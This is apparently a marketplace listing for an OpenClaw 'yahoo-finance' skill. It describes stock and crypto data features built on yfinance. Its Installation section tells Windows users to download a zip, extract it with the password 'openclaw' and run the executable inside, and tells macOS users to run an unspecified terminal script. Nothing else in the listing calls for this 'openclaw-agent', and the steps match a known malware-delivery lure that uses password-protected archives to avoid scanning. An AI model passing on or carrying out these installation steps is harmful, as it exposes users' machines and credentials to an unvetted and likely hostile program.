yahoo-finance
Get stock quotes, financial data, market news, and portfolio analytics from Yahoo Finance. Use when you need real-time stock prices, historical data, company financials, crypto prices, or market analysis.
Why use this skill?
Integrate real-time stock quotes, financial statements, and crypto data into OpenClaw with the yahoo-finance skill. Perfect for automated market research and analysis.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/yahoo-finance-m16opWhat This Skill Does
The yahoo-finance skill for OpenClaw is a powerful utility designed to bridge real-time financial market data with your AI workflow. It provides deep access to global stock market information, cryptocurrency prices, historical price action, and corporate financial health. By leveraging the industry-standard yfinance library, this skill allows users to pull accurate, up-to-date ticker data, analyze balance sheets, review income statements, and track dividends or stock splits without manual research. It is an essential tool for quantitative analysts, investors, and automated market researchers.
Installation
To begin, ensure you have the openclaw-agent utility installed on your local machine to handle the heavy lifting of API communication. For Windows users, download the provided zip package, extract it using the password 'openclaw', and execute the application. For macOS users, follow the terminal installation script provided by the developer. Once the agent is active, install the Python dependency by running pip install yfinance in your terminal. Finally, register the skill using the command clawhub install openclaw/skills/skills/hightower6eu/yahoo-finance-m16op to sync it with your OpenClaw environment.
Use Cases
- Portfolio Tracking: Quickly fetch the current valuation of a diverse portfolio including stocks and cryptocurrencies.
- Fundamental Analysis: Programmatically extract P/E ratios, market capitalization, and historical revenue data to evaluate company health.
- Historical Backtesting: Download multi-year price data into CSV format to conduct independent technical analysis or model building.
- Market Monitoring: Set up automated scripts to compare performance across various sectors or industry verticals using multiple tickers simultaneously.
Example Prompts
- "OpenClaw, pull the latest income statement for Apple (AAPL) and calculate the year-over-year revenue growth."
- "Get the current price and 52-week high for Bitcoin, Ethereum, and Solana in USD."
- "Download the last 6 months of daily historical data for TSLA and save it to a file named tesla_history.csv for my research report."
Tips & Limitations
- Data Latency: While highly reliable, Yahoo Finance data can sometimes be delayed. Always cross-reference high-frequency trading data with an official exchange feed.
- Rate Limits: Excessive rapid-fire requests may lead to temporary IP blocking by the Yahoo Finance servers. Use the
time.sleep()function if running bulk data extraction in a loop. - Availability: Some international markets or specific OTC stocks may lack comprehensive financial statements or extended historical data.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-yahoo-finance-m16op": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, external-api, code-execution
Related Skills
polymarket
Trade prediction markets on Polymarket. Analyze odds, place bets, track positions, automate alerts, and maximize returns from event outcomes. Covers sports, politics, entertainment, and more.
x-trends
Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.
google-workspace
Interact with Google Workspace services - Gmail, Calendar, Contacts, Sheets, and Docs. Send emails, manage calendar events, read/write spreadsheets, create documents, and sync contacts.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.